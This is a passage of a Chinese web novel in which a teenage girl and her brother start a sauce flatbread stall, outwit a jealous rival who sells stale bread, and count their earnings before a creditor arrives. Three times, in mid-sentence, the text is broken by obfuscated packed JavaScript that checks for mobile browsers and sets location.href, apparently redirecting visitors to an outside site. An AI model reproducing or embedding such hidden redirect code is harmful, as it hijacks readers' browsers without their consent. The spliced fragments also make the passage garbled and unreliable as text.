陈瑞安拿菜刀又分出一堆饼来:“大份,这么多,卖六文。” “这六文比四文才贵两文,怎么看着倒快有四文的两倍多了!” 陈瑞安狡黠地笑道:“没错,现在,你是一个女人,中份的稍微有点儿少,但也能吃;大份的稍微有点儿多,但也不会太撑,而且算起来比中份便宜不少,你选哪个?” 张金花想了想:“那我会选大份。” 陈瑞安道:“那我们又多挣了一文钱。” 张金花怪异地看向自己的女儿,好像从来没认识过她似的:“那男人吃大份又有点儿少,怎么办呢?” 陈瑞安又拨出一份饼:“我们还提供超大份,八文。” 这次拨出的饼没那么多了,大约是四文那份的一半多一点。 张金花提出质疑:“那男人看大份划算,就会选大份了。” “好问题。”陈瑞安用菜刀敲敲砧板,发出“咚咚”的声音,“你见过为了省钱,让自己饿着的男人吗?” 张金花哑口无言了。 沉默了好一会儿,张金花忍不住抛出最后一个问题:“那小份呢?” 陈瑞安答:“我们没有小份。” “为什么?” 陈瑞安奸笑道:“你不觉得小份听起来很不划算吗?换成中份,是不是顺耳了很多?” 张金花怔怔的,半晌才抹了一把脸,道:“陈瑞安,我养了你十四年,到今天才发现,你还有做奸商的潜质。” 陈瑞安很满意这个评价,嘴咧得跟开花了似的。 此时,二号试吃员奶奶午睡醒来,陈瑞安赶紧把奶奶叫过来尝酱香饼。 奶奶尝了尝,道:“哟!哪个御厨来民间采风来了?” 陈瑞安得意地拍拍胸脯:“御厨本人在此。” 奶奶道:“仙女下凡,托生成我大孙女啦?” 陈瑞安高兴地拍回去一个马屁:“那您老人家就是天上的太皇太后啦!” 一旁的张金花这才从恍惚中回过神,问陈瑞安:“那这个饼,咱们家派谁去摆摊卖呢?” 陈瑞安答:“当然是我啦,再拉上哥。” 张金花有些不敢苟同,问:“那你舒先生家的工作不做啦?你哥在衙门的差事也不要啦?” 11. 酱香饼挑子一头热 “当然要继续做啦!”陈瑞安道,“那也能挣不少呢。” “你们两个的工作时间都不短,这怎么兼顾得过来?要不还是我来吧。”张金花忧心忡忡地道。 陈瑞安掰着手指头给娘算时间:“我在舒先生那边的差事是巳时到酉时(9时-17时),哥散衙的时间同我一样,上班比我早半个时辰。我们辰时(7时-9时)在外面摆一个时辰,酱香饼的备料只需要面团和酱料,应该很容易,用不了太多时间,一个时辰就够够的了。 “总之,我们卯时(5时)开始做就差不多了。” 张金花有些心疼:“那也够早了。” “哎呀,不早啦,公鸡都打鸣啦!”陈瑞安挂在张金花的胳膊上撒娇,“早上不过早起一个时辰,那晚上也早睡一个时辰,不就补回来了吗?” 家庭的重担骤然落到一双儿女身上,张金花有些无所适从。 “我也帮不上你们什么忙。” “怎么帮不上?我和哥白天都在外面,买菜的事不还要靠您吗?这个还是您擅长,我们买菜容易上当受骗。” 在陈瑞安信誓旦旦的保证下,张金花总算暂时不那么踌躇。 母女俩又温存了一会儿,陈瑞安就去准备摆摊需要的其他东西了。 首先,摆摊需要一个出摊用的小摊位。 由于煎饼的步骤需要在摊位上现场完成,因此摊位最重要的功能区有三块:一个能烧炭加热的大锅、一个刷酱和切饼区、一个放面团的储物区。 大致明确了自己的需求,陈瑞安画了一张简易的示意图纸,就独自去了大顺家的木匠作坊。 大顺爹正忙,就叫大顺和他二哥大宏先接待陈瑞安。 大顺举着示意图看了又看,咂舌道:“这图画得真好,字写得也好。小安,你现在真是个大才女了,怎么什么都会啊!” 陈瑞安并不曾学过画画,只因跟着舒小姐练了两年字,控笔还过得去,画出来的图纸不过是横平竖直、需求清晰罢了。哪有大顺说得那么好! 陈瑞安笑道:“大顺,你跟阿亭一起待久了,怎么越来越像她了?什么事情都要夸夸我。” 大顺嘿嘿笑道:“我句句都是肺腑之言。你画的这个图,我一看就明白了,比专业的工匠也不差多少了。摊位我们家常做,像你这样做成车的样式的,倒很少见,是个好主意。” 大顺的二哥大宏道:“但是没有必要。” “二哥,你别这么说,我看着挺好的,地方宽敞,推起来也省力。”大顺有些汗颜。 陈瑞安倒是不觉得尴尬,她朝大宏虚心求教:“为什么?” 她的图纸是仔细回忆了街边酱香饼摊位后,仿照现代餐车的样式画的,是经过现代小商贩们不断实践验证过的实用设计。 但是这样的设计,在古代未必能行得通,她也很乐意听一听专业人士的意见。 大宏道:“第一,你手头宽裕吗?急着做完出摊吗?” 欠了那么多债,当然不宽裕! 陈瑞安摇摇头:“不宽裕,我确实需要尽量省钱。虽说不很急,但当然能早些做完更好,那样就能早点出摊赚钱了。” 大宏道:“那你首先就不该做这个车轮。车轮工序复杂,耗时耗力,造价也要高非常多。” “但是我哥和我力气都不大,又要带锅又要带原材料,我怕我们搬不动。”陈瑞安提出自己的需求。 大宏用朱笔在图纸的车轮部分画了一个圈,面无表情道:“既然别人都能,那我想你们也只好克服一下了。” 二哥的不礼貌使大顺感到十分羞愧,他赶紧向陈瑞安解释:“我二哥这人说话就这样,你别在意。其实还是有办法的,我们用薄一点的模板,就可以把摊位做轻一点。” 陈瑞安笑着摇摇头表示不介意:“大宏哥,那第二呢?” 大宏道:“第二,你的锅为什么要用平的?” “因为我们打算做大饼,平底锅煎饼比较方便。”陈瑞安解释。 大宏问:“普通形状的锅不能做吗?” 陈瑞安哽住,想了想,方道:“倒是也能。” “那我建议你们还是用普通的锅。”大宏又用朱笔在锅上画了一个圈。 “首先,平底锅受热不如普通的炒锅均匀,未必会更好用。其次,铁匠那边有现成的铁锅可以买,比你去定做平底锅更便宜,也更快。” 是哦!现代人用平底锅,是因为摆摊用电热丝加热,平底锅的形状更好做,也没有受热不均的问题。仔细想想,在燃气灶上,炒锅是比平底锅更好用。 陈瑞安点点头,表示同意。 “第三,”大宏又在整辆车上画了一个圈,“整个摊位很沉,你们确实搬不动。所以,我建议分成两半,做成挑子的样式,用扁担抬着走。一边做炉子,一边放材料、当砧板。” 传统的馄饨摊、剃头摊,都是挑子的样式。有句话叫“剃头挑子一头热”,就是说剃头匠的挑子上,一头是工具和板凳,另一头是用来烧水的炉子,因此只有炉子的那一头是热的。 馄饨挑子和剃头挑子的式样,直到现代都能偶尔看见。 陈瑞安看了又看,不禁感到这个样式果然是最实用、最便宜的。劳动人民的智慧果然无穷无尽啊! 陈瑞安连连向大宏道谢:“大宏哥,还是你有经验,你帮了我大忙了,这样做果然省钱又好用。” 大宏倒是并没有因她的赞美而得意,而是继续问:“你说的那个饼,到底是什么做法?” 陈瑞安粗略介绍了一番,于是大宏按照她的需求,调整了操作台的大小,又加了两个抽屉,一个用来放酱料,一个用来放钱。 大宏正画着新图纸,大顺爹干完手上的一件活儿,抽空出来看了一眼,于是大宏又言简意赅地向他介绍了自己修改过的方案。 大顺爹越听越欣慰,对着图纸看了又看。 老子看儿子,越看越欢喜,大顺爹愈发觉得自己的二儿子真是做木匠的料,至于小儿子么—— 大顺爹抬起手,朝小儿子的脑袋上抽了一巴掌。 大顺莫名其妙挨了老子一巴掌,给打懵了,半晌才不可置信地大喊:“爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119290|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好好的,你为什么打我?!” 大顺爹瞪着眼道:“你学着点儿!瞧瞧你自己,再瞧瞧你二哥,比你不知道强多少!” “我才过来学了半年!二哥要是连我都比不过,那他才是白干了!”大顺揉着脑袋,认为爹十分不可理喻。 大宏对二人的吵闹充耳不闻,自顾自地画完了那张新图纸。 图纸的最终效果陈瑞安很满意,当即下了订单。 大顺爹给陈瑞安打了大折扣,又主动提出要帮她从铁匠那里买锅和炉子,两家常有合作,可以拿到更实惠的价格。 陈瑞安十分感激,用自己的私房钱付了定金,议定剩下的钱等陈瑞平带着剩下的钱回家、交付酱香饼挑子的时候再付。 几日后,陈瑞平终于把爹接回来了。 爹腿上打着木板,精神倒很好,笑盈盈的。 陈瑞平把他背下马车,放到从前爷爷睡的床上。从前为了方便照顾爷爷,床、茶几、马桶之物,都是特指的,如今倒是现成。 安顿好了爹,陈瑞平马不停蹄地就要去郡城还马车,毕竟多用一天就要多付一天的钱。 为了让爹趴得束缚一些,车上还铺着木板和被褥,陈瑞安帮着哥哥一起卸下来。 趁着卸东西的功夫,陈瑞安悄悄问哥哥:“结完车钱和车夫的工钱,还剩下多少钱?” 陈瑞平道:“我们运气好,刚上路,天就晴了,雪也化了,这一趟来回比预计要快不少,省了许多钱。我算着,应该还剩七两多。” 酱香饼挑子加上铁锅、炉子,要价大约二两。 这样看,虽然欠了些外债,但家中还算有些现金流,至少短时间内,不必为钱发愁了。 送走了哥哥,陈瑞安打算去同爹说说话。 走到房间门口,她朦朦胧胧听见娘对爹说:“……你猜猜她说什么?……她说,‘小份改名叫中份了,因为小份听起来不划算’!” 爹趴在床上大笑:“小安脾气像你,长得也像你,做生意的天赋倒是随了我!” 陈瑞安倚在门上,“哼”了一声:“说我坏话哪?” “这叫什么坏话?这可都是大大的好话。”爹朝陈瑞安挥挥手,示意她过来。 爹上下打量了她一番,肯定地道:“瘦了。” “没有,是长高了,显瘦。”陈瑞安很为自己的高个儿而自豪。 上辈子求而不得的一米七,这辈子终于拥有了。走在路上能俯视众生的感觉,爽啊! 爹有些抱歉地说:“今年运道不大好,做生意没有赚到钱,反倒亏了些。我手里还剩十两多银子,等瑞平回来,叫他找出来。” 张金花忙道:“你留着,那是你的钱,留着做生意的本钱。” “什么你的我的?一家人,还说这些话。要做生意,等两个孩子帮我把本钱赚回来。” 爹又道:“小安,你这么小,就要忙前忙后地替家里赚钱,爹对不住你。” 陈瑞安笑嘻嘻道:“不辛苦,我做着觉得好玩。等我觉得不好玩了,就丢还给你们,爹你也不用出去了。” 12. 开门红 摆摊第一天,瑞平瑞安兄妹早早起床,开始准备酱香饼需要的材料。 考虑到酱香饼事业刚刚起步,还没有积累起固定客户,陈瑞安决定保守一点,第一天只做四张饼。 这样一来,就算生意不好,一家人努努力,还可以把剩下的饼内部消化,不会浪费。 男人力气大,揉面这样简单又费力的活儿交给陈瑞平去做;陈瑞安自己则切各种香料、炒酱、做油酥。最后,陈瑞安来抹油酥、把面团擀成饼,陈瑞平洗锅碗瓢盆、准备要用的炭火。 万事俱备,此时天还未大亮,陈瑞平挑着挑子,陈瑞安拎着一桶面饼,兄妹二人踩着朝霞出发了。 摆摊的地点定在东街,就在那家东街北头那家麻花小店的对面,那边交通位置好、店铺多,人来人往都会经过,客流量是最大的。 东街离陈家有些距离,说近不近、说远不远,走路要走一刻多钟。 往日陈瑞安去那边逛街买东西,总觉得不一会儿就到了;可今日,拎着恐怕有十斤重的桶,陈瑞安胳膊很快酸痛发麻起来,只感觉这条路怎么也走不到头。 陈瑞平也是平日里从来不做体力活儿的,人也瘦,看着十分孱弱。他肩上的扁担比陈瑞安的桶更要重上几倍,只觉被压得直不起腰,步步都走得十分艰难。 “陈瑞平,你累不累?”陈瑞安关切地问道,“你要是累,我们可以先歇一会儿。” 陈瑞平咬着牙,摇摇头:“我能走。我们原本的时间就不多,抓紧时间早去一点,就能多卖一些。” 这样寒冷的冬日里,两人喘着粗气,竟走出了一身的汗。 终于到了地方,两人卸下扁担,把材料都摆到顺手的位置,给炉子点上火。 陈瑞安看了看天色,估摸着早高峰的时间快到了,于是取出一张擀好的面饼,开始煎饼。 周围的小摊贩见来了个新早点摊,都好奇地探过头来看。 “哟,小姑娘,你家的胡饼怎么这么大哪?” 陈瑞安解释道:“这不是胡饼,这是酱香饼,比胡饼软、香,要刷上酱、切成块吃的。” “酱香饼?好吃吗?我还从来没听说过这样吃食呢。听起来还怪香的!” 卖胡饼的大婶听陈瑞安说这个饼比胡饼好,有些不高兴了,道:“这还用问?好吃的东西大家都爱吃,一传十、十传百,既然没听说过,当然是不好吃了!” 周围人听了这话,都笑了,纷纷表示认同。 一人道:“上次有人挑着担子叫卖,说是什么外地的特产,叫“豆汁儿”,我家老婆子听着好玩就买了。结果,喝了一口,连着上一顿的饭一起吐出来了!” 另一人附和道:“上次一个外地人卖果子,我看着红彤彤的喜人,买了一点儿。那叫一个酸哟!剩下了,我拿去喂鸡,鸡都不肯吃,全给扔了!” 陈瑞平急了,赶紧道:“我们的酱香饼不一样,是真的好吃。” 大家哄笑道:“卖东西的人都这么说!” 陈瑞安拿手肘顶哥哥,示意他不要在意,向大家笑道:“各位大哥大姐不必争,等我煎出饼来,切给大家都尝一尝,好不好吃的,就自见分晓了。” 围观的人们听说有不要钱的饼可以尝,自是乐意。 人群中有一人喊道:“小妹妹,大哥我是个直肠子,尝了不好吃,我可是要实话实说的!” “您尽管说实话!”陈瑞安对自己的酱香饼很有信心。 陈瑞安见面饼差不多煎好了,就打开酱料的盖子,给饼上刷了厚厚一层酱,又撒上白芝麻和葱花。 有了锅里的热度,酱料闻起来愈发的香,围观的人不禁都深吸了一口气。 “这闻起来,好像是挺香的哈?” “我忙了半天还没吃东西呢,一闻这味道,现在忽然有点儿饿了。” 把做好的酱香饼铲到砧板上,陈瑞安开始切饼。 虽然不收钱,但陈瑞安切的很大块。试吃一定要给得大方,不然客人尝不出来味儿,还造成了一个小气的坏印象,不如不给试吃。 “小老板还挺大气的!” “是啊,上次我去西街那家糕点铺,切给我尝的还没指甲盖儿大呢。” “那家店我也去过!我吃不出来味儿,又要了一块,那个老板还刺了我两句,可给我气坏了。” 陈瑞安用刀尖叉了一块酱香饼,招呼那位“直肠子”大哥:“大哥,你先来。” 大伙儿都笑了,纷纷起哄:“得说实话啊!”“大哥,我相信你,你可别骗我!” 大哥上前,拿起酱香饼,放进嘴里。 大哥嚼巴嚼巴,先皱着眉头“嗯?”了一声,一会儿,又解开眉头“嗯!”了一声。 好奇酱香饼味道的人急了:“大哥,别打哑谜呀,这饼,到底好不好吃啊?” 大哥手伸进怀里掏钱:“小老板,给我来一份酱香饼!” 陈瑞安眉开眼笑:“好嘞!中份四文,大份六文,超大份八文,大哥要多少?” “要超大份的!” 陈瑞安手脚麻利地给大哥用油纸包了一份饼,陈瑞平在一旁负责收钱。 “这么多饼,才卖八文!比我想象的要便宜。” “大哥这个反应,应该是好吃的意思吧?” “废话,当然是好吃啊!不好吃大哥能要超大份吗?” 陈瑞安喊道:“还有谁要试吃?” “我要!” “我也要!” “别挤呀!是我先来的!” 围观的人们蜂拥而上,都尝了尝这新奇的酱香饼。 在试吃的人里,有将近一半都买了一份饼,陈瑞安轻轻松松卖完了第一张酱香饼,后面还有没买到的人在等下一张饼出锅。 陈瑞平悄悄向妹妹道:“小安,我知道酱香饼好吃,但真没想到会这么好卖!” 陈瑞安白了陈瑞平一眼:“你说什么傻话?既然好吃,价格也合理,为什么会不好卖?” 卖胡饼的大婶也跟着尝了一块酱香饼,但并没有买,而是向其他人嘀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128662|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕:“我觉得味道其实一般。” 对方道:“真的吗?我也尝了,我觉得挺好吃的呀!” 又有人道:“涂大婶,你别是看人家好吃,眼红吧?” 涂大婶气急败坏道:“你不要污蔑我!你爱吃,那你多吃,我反正觉得不好吃。” 陈瑞安把这番对话收入耳中,偷偷笑了笑,一边煎了一张新的饼,一边把上一张饼剩的一点点装起来,作为试吃。 产品口味过关,只要客人试吃了,她就有信心能卖出去! 刚卖完这波小商贩,早高峰很快就来了。 早高峰的情况也比预想要好。虽然大家从来没吃过酱香饼,有相当一部分人还是有些迟疑,过来看了一眼就走了,但总的来说,生意还不错。 这很大程度上归功于陈瑞安设置的试吃盒,很多客人试吃后惊为天人,马上买了一份酱香饼。 何况,有的客人脸皮薄,但又爱占便宜。有些客人其实已经在其他摊位买了早点,一看这边有免费试吃,眼巴巴地过来吃了,又不好意思白吃,一看味道还可以,也就买了一份。 还有一部分客人,是买早点的时候,见其他摊主在吃酱香饼,好奇,于是过来买了中份的尝尝味道。 这边正如火如荼地卖着饼,忽然响起一个声音,道:“这酱香饼卖得这么便宜,别是加了什么不干净的东西吧?” 陈瑞安转头一看,原来是卖胡饼的涂大婶。 涂大婶的摊位正靠着酱香饼摊位。见酱香饼卖得好、她的胡饼卖得不好,她自觉是被隔壁酱香饼分薄了生意,越想心里越不舒服,于是喊了一声,想要吓退几个客人。 正在排队买酱香饼的客人听了这话,居然有几人神色间真有些踌躇。 空口污蔑,这也能忍? 这厢陈瑞平还在文绉绉地吵架:“空口无凭,你不要信口雌黄!” 陈瑞安冷笑一声,高声喊道:“大婶,你不能因为你的胡饼不好卖,眼热,就跑过来说别人的饼不好吧?” 客人们听了这话,也醒悟过来,酱香饼虽然还算便宜,但价格也并不离谱,这人完全是信口开河,多半就是嫉妒别人生意好。 涂大婶才不会承认自己的动机,犹道:“你要是觉得你的饼干净,你倒是告诉大家,你的饼里都加了什么东西?” 对做吃食生意的人来说,配方原是安身立命的东西,多少人家靠一张祖传秘方,养活了一代又一代人,岂是能这样轻易说出口的? 陈瑞安当然不会上当,道:“谁主张谁举证,你说我的饼不干净,你倒是拿出证据来啊?总不能你胡诌两句,大家就都听你的吧?” 涂大婶当然没有证据,只好车轱辘话:“你有本事告诉大家里面有什么呀?” “你有本事拿证据呀?” 两人你来我往地吵着架,客人们虽然不信酱香饼不干净,但也渐渐等得有些不耐烦了。 这时,一个清亮的声音道:“涂大婶,你别是因为自己做生意不诚信,以己度人了吧?” 13. 有仇必报 陈瑞安抬头一看,竟是一个十七八岁、浓眉大眼的漂亮姐姐。 涂大婶涨红了脸,大声反驳道:“乔秀珠,你不要胡说八道!” “胡说八道?到底是谁在胡说八道?”名叫乔秀珠的女孩子懒懒散散地说道,全然不把涂大婶的愤怒当回事。 “你是还记着上次的事情,想借此机会报复我!” 乔秀珠嗤笑一声:“上次的事情?上次什么事情?” 涂大婶不回答,只是恶狠狠地盯着乔秀珠。 “你不说是吧?那我来说。” 周围早已围着许多看热闹的人。乔秀珠转身面向人群,大声道: “上次我吃了这个老虔婆卖的胡饼,回家以后上吐下泻了整整两天!” 涂大婶立马喊道:“那是因为你自己身体不好,跟我的饼可没有关系!” 乔秀珠仿佛觉得涂大婶的话很幽默似的,一直低着头笑。 见乔秀珠不语,涂大婶更觉得自己占理了,接着喊:“那天你们一家人都吃了我的胡饼,只有你一个人生病!这分明是你自己体弱多病,凭什么要怪到我的饼上来?!” “噢,我也一直觉得奇怪呢。”乔秀珠冷笑着,一步步走到涂大婶的饼炉前,敲了敲她的炉子,“不过,现在我知道了。” 涂大婶有些心虚似的,一把拍开乔秀珠的手,警惕地护住自己的炉子。 乔秀珠忽地拔高了声音:“这个老虔婆,在她的炉子底下,偷偷藏了隔夜的、没卖完的胡饼!” 人群中一片哗然。 许多人都是买过涂大婶的胡饼的,此刻不由窃窃私语起来,回忆从前吃涂大婶的胡饼时是否有过腹痛腹泻。 涂大婶立马大喊:“我没有!我的胡饼都是现贴、现烤的!” 乔秀珠道:“我已经观察你一个多月了。每天早上,趁客人来之前,你会偷偷把隔夜的胡饼贴近炉子。 “等客人来买胡饼时,你会假装贴一张新鲜的面饼进去,但其实,你取出来卖给客人的,是隔夜的胡饼!” 涂大婶已经激动得脸红脖子粗了,犹道:“你有本事拿证据出来!” “那可不就巧了?”乔秀珠笑道,“今天早上,这个老虔婆忙着试吃旁边这个妹妹家的酱香饼,还没来得及把她的隔夜胡饼放进炉子呢。” “现在,隔夜的胡饼就在她脚边的那个篮子里!” 涂大婶做贼心虚,立马要去拿那个篮子;然而陈瑞安眼疾手快,也拿起了那个篮子! 陈瑞安注意到,乔秀珠在与涂大婶争执时,余光总落到那个篮子上。 于是她早早留了个心眼,悄悄地靠近过去,占据了一个可以抢篮子的好位置。 只是涂大婶毕竟离篮子更近,因此两人几乎在同一时间拿起了篮子。 两人谁也不肯让谁,使出全力争抢那一只篮子。 涂大婶身材矮而胖,陈瑞安个子瘦而高,两人的力量竟不分伯仲,僵持不下。 千钧一发之际,陈瑞安的哥哥陈瑞平不知从哪里闪出来,从背后抱住了涂大婶。涂大婶吓了一跳,登时卸了力,陈瑞安成功夺过了那只篮子。 涂大婶气得胡乱大喊:“抢劫啦!非礼啦!年轻人合起伙来欺负我老婆子啦!” 陈瑞安掀开篮子上的盖布,里面果然装着十几个表面已经有些干裂的胡饼。 “大家看!这些胡饼摸着发凉发硬,表面干裂,是已经放了很久的!” 不少人都伸长了脖子看篮子里的胡饼。 一个靠得近的路人拿起一张胡饼,撕下一点,尝了一口,道:“没错,是隔夜的!我家没吃完剩下的胡饼,第二天就是这个口感!” 涂大婶还在死鸭子嘴硬,道:“隔夜的又怎么了!胡饼隔夜无非是口感差些,又不会坏,谁家没吃过隔夜的胡饼?也没见过谁吃了拉肚子的!” “没错,现在天冷,胡饼放一天是不会坏。”乔秀珠举起一张胡饼,一边向路人展示,一边道,“但是我当时买胡饼的时候,是在梅雨天!” “梅雨天雨水多,胡饼本来就容易坏;加上客人少,做好的胡饼不好卖,这老虔婆把剩下的胡饼留了两三天!” “这老虔婆把新鲜胡饼和留了好几天的的胡饼混着卖,我家里人吃的是新鲜胡饼,所以没事;我倒霉,吃的是早已经发霉变质的胡饼!” 真相大白,围观的人群一想起曾经吃过涂大婶卖的胡饼,不禁都有些后怕。 “发了霉的胡饼,那哪能吃啊!” “你这个婆子,卖不完的胡饼,你自己家里吃了不行吗?还拿出来卖,这不是害人嘛!” “我想起来了,我上上个月连着拉了好几天的肚子,我还以为是着凉了呢!现在想来,就是吃了这家的胡饼的缘故!” 事已至此,涂大婶自知已经无力回天,挣脱了陈瑞平的怀抱,恨恨地收拾东西走了。 涂大婶在河头县的名声已经败坏,为了维持生计,后来她搬去了隔壁县的女儿家,到那边卖胡饼去了。 看完了这一场热闹,人群渐渐散去,只留下乔秀珠和陈家兄妹。 陈瑞安打包了一份超大份的酱香饼,送到乔秀珠手上:“姐姐,多谢你揭穿了那老虔婆的真实面目,不然恐怕真的会有人相信她说的话,以为我们的酱香饼不干净了。” “无功不受禄,我原是自己与她有过节。我这人有仇必报,见她可恶,早想着要干这一仗了。她向来这副德行,新来的小商贩,都要受她挤兑的。”乔秀珠连连推拒。 陈瑞安执意要给:“姐姐不收谢礼,那就当是我看姐姐漂亮,主动送你的。” 乔秀珠被夸得心花怒放,道:“好吧,那我就收下了。我叫乔秀珠,你叫我秀珠姐就好,我家是卖麻花的。”说着,乔秀珠伸手指了指小摊对面的麻花店。 “居然是你家呀!我们一家人都爱吃你家的麻花!”陈瑞安十分惊喜。 乔秀珠不以为意,道:“平日里都是我看店,你哪天来买麻花,我给你抹零。” “那太好啦!对了,秀珠姐,我叫陈瑞安,叫我小安就好;这是我哥哥陈瑞平。我们家住在榕树巷。” 乔秀珠记下了,向陈瑞平道:“刚刚也多谢你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133902|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不是你抱住那老虔婆,我们还抢不到那篮子胡饼呢。” 陈瑞平平日里鲜少有机会与同龄女孩子说话,何况是个含苞待放的漂亮女孩子,不由羞红了,连声道没事没事。 送走乔秀珠后,陈家兄妹接着卖酱香饼。 经过刚刚那一遭,竟引来不少客人,他们注意到这个卖酱香饼的小摊子,都想尝尝鲜。 是以,早高峰才过一半,他们带来的四张饼居然就卖空了。 陈瑞安原本想着卖不完可以自己吃,这下卖得一点都不剩,连兄妹两人的份都没有了。 从其他摊子上买了些包子作为一家人的早饭,兄妹两人就抬着酱香饼挑子回家了。 虽然挑子比来时轻不了多少,但今天早上赚到了钱,两人都十分高兴,竟也不觉得沉了。 回到家,顾不上吃饭,一家人算起了账。 “今天一共赚了……一百零八文钱!这数字真好,吉利。”张金花数着钱,惊喜道。 “这是收入,还没算成本呢。食材、炭火,这些都是钱。我们定价定得低,我之前算过,纯盈利大约是四成。”陈瑞安道。 “四成,那就是……”张金花有些算不过来。 爹道:“四十文出头。” “没错没错,我一时糊涂了,一百文的四成,可不就是四十文。”张金花掰着手指头,“一天四十文,十天就是四百文,唉哟,这可不少了。” 陈瑞安道:“还能更多呢,今天我们早早就卖完收摊了。照今天的情况,如果一直卖到辰时末,至少能卖十张饼。将来有了回头客,还能多卖。” 爹拿了把算盘,快速拨了一通:“就算十五张饼吧,这饼好吃,回头客一定多。” “一百零八的四成,四张饼挣四十三文二分,一张饼挣十文八分;一天十五张饼,就是一百六十二文;一个月三十天,一百六十二乘三十……” 算盘珠子清脆的响声停了下来,爹深吸一口气,得出了结论:“一个月能挣四千八百六十文钱,也就是四贯多、将近五贯钱了。” “乖乖!”张金花惊得下巴都快掉下来了,“五贯钱!就早上这两个时辰,一个月能挣五贯钱!” 陈瑞平也惊呆了,怔怔地道:“我在衙门一个月的薪水,也才三贯钱。不过是早上卖个早点,居然能挣这么多!” 陈瑞安犹觉得不大满意:“也差不多了,一个半月才能回本呢。你薪水本来就不高,而且你在衙门是一天四个时辰,我们早上是两个人两个时辰,多不了太多。” “加油,”陈瑞安拍拍哥哥的肩膀,“我们争取一天卖二十张饼,挣得就算还不错了!” 一家人尚沉浸在挣了钱的兴奋和欣喜之中,忽然传来一阵敲门声。 “陈兴在家吗?陈兴?” 陈兴是爹的名字。 张金花听着声音,觉得不大熟悉,问爹:“你听出来是谁的声音没有?” 爹摇摇头。 外面那人忽然拔高了声音,道:“陈兴!你别躲在里面不出声,我知道你在家!欠债还钱,天经地义,快还钱!” 14. □□ 陈家奶奶正在院子里泼洗脸水,听见声音,赶紧去开了门。 门外站着一个中年男人,见开门的是个老婆子,立马急冲冲地往里闯:“陈兴呢?我找陈兴!” “唉哟!小伙子,当心着些!”奶奶手里的脸盆险些被这男人撞脱了手,“陈兴是我儿子。你是哪位,找他有什么事?” 爹早已从窗子里看清了来人,派了陈瑞平出来接。 陈瑞平伸出手,示意男人进屋:“李叔,我爹在里面,你跟我进来吧。” 原来,这男人名叫李英,是城西醉仙居酒楼的老板。 李英的祖父原先是个街边小饭馆的厨师,因他熏鸭做得好,他攒了些钱后,便自立门户,开了一家店专卖熏鸭。生意越做越大,他干脆开了家酒楼,也就是如今的醉仙居。 早年间,因有熏鸭作招牌,醉仙居也曾经红火过一阵。 只是,几十年过去,熏鸭再好吃,河头县的人也已经吃腻。加上有喜来酒楼后来居上,抢走了不少老客,醉仙居的生意一日不如一日,渐渐没落了。 是以,醉仙居传到李英手上时,已经是举步维艰,连厨师的工钱也发不出了。 为了维持生计,李英自己做厨师,让老婆收银端菜,把酒楼当小饭馆来开。 因醉仙居的铺面是李英的爷爷买下来的,不必另出租金,虽然生意不好,李英一家的日子倒还过得下去。 一日,恰逢李英的老婆回了娘家,李英做好菜后,便亲自给客人上菜。 上菜时,其中一个客人正道:“……我今年也是走偏财运。去年我投的几笔钱,都小赚了一笔,今年陆陆续续回了账;最难得是今年上半年那一笔,我投了五十两进去,你们猜怎么着?” 那人神秘兮兮的,用手比了个手势:“回了这个数。” 其他几个客人道:“七十两?那是还不错。” “七十两?”那人扁着嘴摇摇头,“七成!连本带利,一共回了八十五两!” 其余几人都道:“嚯!那这笔钱真是投对了。这才半年,竟回了这么多!” 李英在一旁听着,心思渐渐活络起来。 李英攒了一笔钱,是预备将醉仙居整体修缮一番的。 因醉仙居年久失修,屋顶、楼梯,各有各的问题,修起来要花费不少钱。李英攒了四五年,至今也没有攒齐费用。 李英暗暗算计着,如果半年就能赚七成,那他攒的这些钱投进去,岂不是很快就能凑齐修缮的经费? 李英赶紧问那说自己走偏财运的客人:“客官,您说的这桩发财的生意,是从哪儿找的啊?” 那客人道:“嗨,发什么财呀,无非是手里有些闲钱,投给一些跑生意的人,分一些红,赚些酒钱罢了。怎么,你也想投?” 李英忙道:“不是不是,我哪里有钱!我有一个兄弟,手里正有些闲钱,原本预备放印子钱呢,我说这事儿可做不得,给劝住了。偏巧,今儿碰见您了,我替他问问,也算功德一件。” “哟!印子钱的确放不得,老弟,你真是积德了。” 那客人想了想,道:“我刚刚说的那几家,如今都已经出去了,投不了了。榕树巷有一户姓陈的,倒是正好在家,你可以叫你兄弟去找他。” 李英赶紧拿笔记下了,连连道谢。 “但是老弟,替我提醒你兄弟一句。”那客人又道,“做生意呢,有赚就有赔,都是有风险的。运气好,本钱翻好几倍事,我也是碰到过的;运气不好,血本无归,也常有。” “做这种投资,第一要紧的,就是不能贪。哪怕投进去的钱全部折了,日子还能照过,这才叫投资。” 